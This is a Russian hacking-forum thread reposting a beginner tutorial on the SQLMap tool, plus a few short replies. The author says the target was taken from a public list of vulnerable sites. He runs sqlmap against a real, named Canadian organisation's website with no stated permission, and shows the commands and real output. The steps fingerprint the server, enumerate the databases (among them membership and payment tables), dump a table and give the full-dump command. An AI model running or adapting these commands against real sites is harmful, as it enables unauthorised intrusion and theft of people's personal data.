Реклама на hackersoft.ru Реклама на hackersoft.ru

Вернуться   Форумы Hackersoft > Хакерство и безопасность > Для новичков > Хакерские хитрости
CHAT Регистрация Справка Пользователи Доска почета Календарь Поиск Сообщения за день Все разделы прочитаны

Ответ
 
Опции темы
Старый 30.06.2010, 11:27   #1
Delivery Man
newbie 
 
Регистрация: 30.06.2010
Сообщений: 3
Вес репутации: 0 Delivery Man новичек
Депозит: 0$
Вы сказали Спасибо: 0
Поблагодарили 2 раз(а) в 2 сообщениях
Author: Prosper-H
Source: forum.reverse4you.org


Auto-SQL Injections. Example 1


Доброго времени суток!

В данном упражнении мы рассмотрим работу с такой интересной утилитой, как SQLMap.

SQLMap - данная утилита работает на большинстве платформ и написана на Python'e. Позволяет автоматизировать работу обнаружения и эксплуатации SQL Инъекций. Поддерживает такие базы данных, как: MySQL, MS SQL, PostgerSQL, Oracle.

Что же может данная утилита? А может она многое, вот некоторые ее возможности:
  • Определения "банера системы" (сервера, интерпретатора скриптов, базы данных);
  • Отображении имени пользователя, под которым работает атакуемое хозяйство;
  • Отображение баз данных, таблиц, колонок и полей;
  • Позволяет определить, есть ли у пользователя права администратора БД;
  • Позволяет выполнять произвольные SQL-запросы;
  • При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли;
  • Позволяет сделать дамп, как отдельных таблиц, так и полный =);
  • Может взаимодействовать со всем нам известным Metasploit"ом;
  • Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт;
  • Может взаимодействовать с дядей Гуглом;
  • Есть поддержка прокси;
  • Данные могут отправляться как методом GET(по умолчанию), так и POST;
  • Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR();
  • Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды;
  • И еще куча прибомбасов... =)

Вступление сделали - пришла пора потрогать утилитку.

Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net и заберем свежую, на данный момент, версию "sqlmap 0.8".

Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap.

Счастливые обладатели никсов, надеюсь разберутся с запуском и сами

Итак, скачали, распаковали и что же дальше?

А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен: http://blindcanadians.ca/press_relea...php?BriefID=50.

С целью определились - приступим к пентестингу:

Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой. Сказано - сделано:

Код:
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
Цитата:
Результат:

sqlmap/0.8 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 04:53:42

[04:53:42] [INFO] using '/src/sqlmap/output/blindcanadians.ca/session' as session file
[04:53:42] [INFO] resuming match ratio '0.9' from session file
[04:53:42] [INFO] resuming injection point 'GET' from session file
[04:53:42] [INFO] resuming injection parameter 'BriefID' from session file
[04:53:42] [INFO] resuming injection type 'numeric' from session file
[04:53:42] [INFO] resuming 0 number of parenthesis from session file
[04:53:42] [INFO] resuming back-end DBMS 'mysql 5' from session file
[04:53:42] [INFO] resuming back-end DBMS operating system 'None' from session file
[04:53:42] [INFO] resuming back-end DBMS operating system 'None' from session file
[04:53:42] [INFO] testing connection to the target url
[04:53:43] [INFO] testing for parenthesis on injectable parameter
[04:53:43] [INFO] the back-end DBMS is MySQL
[04:53:43] [INFO] fetching banner
[04:53:43] [INFO] read from file '/src/sqlmap/output/blindcanadians.ca/session': 5.0.90-community
[04:53:43] [INFO] the back-end DBMS operating system is None

web application technology: Apache 2.0.63, PHP 5.2.5
back-end DBMS operating system: None
back-end DBMS: MySQL 5

[04:53:43] [INFO] fetching banner
[04:53:43] [INFO] the back-end DBMS operating system is None
banner: '5.0.90-community'

[04:53:43] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 04:53:43
Из представленного листинга мы видим, что:
  • Сервер: Apache 2.0.63
  • Интерпретатор: PHP 5.2.5
  • База данных: MySQL 5 (5.0.90-community)

В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5".

Продолжим и узнаем под каким пользователем работает база данных:

Код:
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
Цитата:
...
web application technology: Apache 2.0.63, PHP 5.2.5
back-end DBMS: MySQL 5

[05:19:44] [INFO] fetching current user
[05:19:44] [INFO] retrieved: [email protected]
current user: '[email protected]'

[05:25:14] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:25:14

Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем:

Код:
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
Цитата:
...
web application technology: Apache 2.0.63, PHP 5.2.5
back-end DBMS: MySQL 5

[05:27:04] [INFO] fetching current database
[05:27:04] [INFO] retrieved: blindcan_aebc
current database: 'blindcan_aebc'

[05:29:20] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:29:20
Параметр "--current-db", просит SQLMap отобразит БД.

Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом:

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
Цитата:
...
[05:32:51] [INFO] testing if current user is DBA
[05:32:51] [INFO] retrieved:
current user is DBA: 'False'

[05:32:53] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:32:53
Параметр "--is-dba" используется для определения прав администратора (True/False) у юзера. Как видим, из приведенно примера, администраторских прав у нас нет =(. Ну да ладно. Едем дальше...

С помощью нехитрого параметра "--dbs", посмотрим список БД:

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
Цитата:
...
[05:47:09] [INFO] read from file '/src/sqlmap/output/blindcanadians.ca/session': blindcan_survey
available databases [8]:[*] blindcan_aebc[*] blindcan_bulletin[*] blindcan_membership[*] blindcan_mentor[*] blindcan_products[*] blindcan_rating[*] blindcan_survey[*] information_schema

[05:47:09] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 05:47:09
Далее, посмотрим таблицы в этих БД, используя параметр "--tables":

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
Код HTML:
...
Database: blindcan_bulletin
[1 table]
+---------------------------------------+
| Bulletin
+---------------------------------------+

Database: blindcan_rating
[3 tables]
+---------------------------------------+
| Category
| Rating 
| Resources
+---------------------------------------+

Database: blindcan_mentor
[12 tables]
+---------------------------------------+
| Availability 
| Chapters
| Gender
| MaterialsFormat 
| Member
| MembershipTypes
| MenteeAge
| MenteeFormat
| Person 
| Province
| Skills
| Type
+---------------------------------------+

Database: blindcan_products
[4 tables]
+---------------------------------------+
| category
| distributor
| manufacturer
| products
+---------------------------------------+

Database: blindcan_aebc
[11 tables]
+---------------------------------------+
| Briefs
| cbm
| cbm_fixed_text
| Correspondence
| Issues
| new_cbm
| new_cbm_issues
| Releases
| Reports
| resolutions
| Scholarship
+---------------------------------------+

Database: blindcan_membership
[12 tables]
+---------------------------------------+
| cbm
| chapter
| correspondence
| dues
| format
| member
| member_old
| membership_type
| organization_type
| payment
| privilege
| province
+---------------------------------------+

Database: blindcan_survey
[17 tables]
+---------------------------------------+
| apAge
| apCategory
| apDistributor
| apFavorite
| apGender
| apPopulation
| apProducts
| apPurchaseType
| apReadingMethod
| apSurvey
| apSurveyReadingMethod
| apWishList
| NameChange
| statement
| tbase
| tbase_like_statement
| tbase_statement
+---------------------------------------+

Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS
| COLLATION_CHARACTER_SET_APPLICABILITY
| COLLATIONS
| COLUMN_PRIVILEGES
| COLUMNS
| KEY_COLUMN_USAGE
| PROFILING
| ROUTINES
| SCHEMA_PRIVILEGES
| SCHEMATA
| STATISTICS
| TABLE_CONSTRAINTS
| TABLE_PRIVILEGES
| TABLES
| TRIGGERS
| USER_PRIVILEGES
| VIEWS
+---------------------------------------+

[03:22:38] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 03:22:38
Так же, есть возможность посмотреть список таблиц в конретной БД, используя такую команду:

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
Код HTML:
...
Database: blindcan_rating
[3 tables]
+-----------+
| Category
| Rating
| Resources
+-----------+

[06:03:35] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 06:03:35
Если захочется окунуться глубже, то можно посмотреть столбци конкретной таблици. Делается это так:

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases//index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
Код HTML:
...
Database: blindcan_bulletin
Table: Bulletin
[6 columns]
+-------------+--------------+
| Column      | Type
+-------------+--------------+
| BulletinID  | int(11)
| ContactInfo | varchar(255)
| Description | text
| Expires     | date
| PostDate    | date
| Subject     | varchar(100)
+-------------+--------------+

[06:13:52] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 06:13:52
Параметр "-Т" указывает на конкретную таблицу, а параметр "-D" соответственно на базу данных.

Для тех, кого интересуют внутренности таблиц(ы) - могут использовать ниже приведенную команду, для дампа последней(них):

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
Код HTML:
Database: blindcan_rating
Table: Category
[13 entries]
+------------+----------------------------------------------------+
| CategoryID | Description
+------------+----------------------------------------------------+
| 1          | Advocacy
| 2          | Alternative Formats
| 3          | Camps
| 4          | Deaf-Blindness
| 5          | Education
| 6          | Employment
| 7          | Eye Health / Medical Organizations, Information an
| 8          | Guide Dogs
| 9          | Low Vision
| 10         | On-Line Information and Resources
| 11         | Products and Technologies
| 12         | Rehabilitation
| 13         | Services and Support
+------------+----------------------------------------------------+

[06:59:16] [INFO] Table 'blindcan_rating.Category' dumped to CSV file '/src/sqlmap/output/blindcanadians.ca/dump/blindcan_rating/Category.csv'
[06:59:16] [INFO] Fetched data logged to text files under '/src/sqlmap/output/blindcanadians.ca'[*] shutting down at: 06:59:16
Если же интересует, не вся таблица, а конкретные столбци, то их можно выбрать добавив параметры "--start" и "--stop". Выглядеть это будет так:

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
Параметр "--start" - указывает на начальную строку таблици, а параметр "--stop" соответственно - на конечную.

Сделать полный бэкап, можно используя параметр "--dum-all":

Код:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
Цитата:
...
The end
На этом разрешите откланяться.

Успехов!

Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании.

Собственно перечень всех команд, можно посмотреть в официально мануале "sqlmap user's manual" (EN), который находится в распакованном архиве "sqlmap/doc/README.(html|PDF)" или проследовать на оффсайт: http://sqlmap.sourceforge.net/doc/README.(html|PDF).

PS: Продолжение следует...

Prosper-H (c) reverse4you.org


Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
Delivery Man вне форума   Ответить с цитированием
Благодарности Delivery Man от:
Старый 17.04.2011, 19:06   #2
nopass2011
newbie 
 
Регистрация: 03.04.2011
Сообщений: 1
Вес репутации: 0 nopass2011 новичек
Депозит: 0$
Вы сказали Спасибо: 1
Поблагодарили 0 раз(а) в 0 сообщениях
Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании.

Очень интересно. Что необходимо знать и где можно прочитать об этом, перед работой с SQLMap?
nopass2011 вне форума   Ответить с цитированием
Старый 17.04.2011, 21:44   #3
MeTR
advanced 
 
Аватар для MeTR
 
Регистрация: 23.05.2010
Сообщений: 276
Вес репутации: 7 MeTR новичекMeTR новичек
Депозит: 0$
Вы сказали Спасибо: 62
Поблагодарили 96 раз(а) в 64 сообщениях
http://sqlmap.sourceforge.net/#docs

MeTR вне форума   Ответить с цитированием
Старый 06.09.2016, 17:16   #4
Sanella
newbie 
 
Регистрация: 06.09.2016
Сообщений: 5
Вес репутации: 0 Sanella новичек
Депозит: 0$
Вы сказали Спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
БУдем тренироватся, спасибо!
Sanella вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.


Часовой пояс GMT +4, время: 16:46.


© 2005 — +∞ Hackersoft. Все и вся защищены.
Публичная оферта | Правила форума | Реклама на сайте
Powered by vBulletin®©™ Jelsoft®©™ Enterprises Ltd. Перевод: zCarot.
Реклама на hackersoft.ru Реклама на hackersoft.ru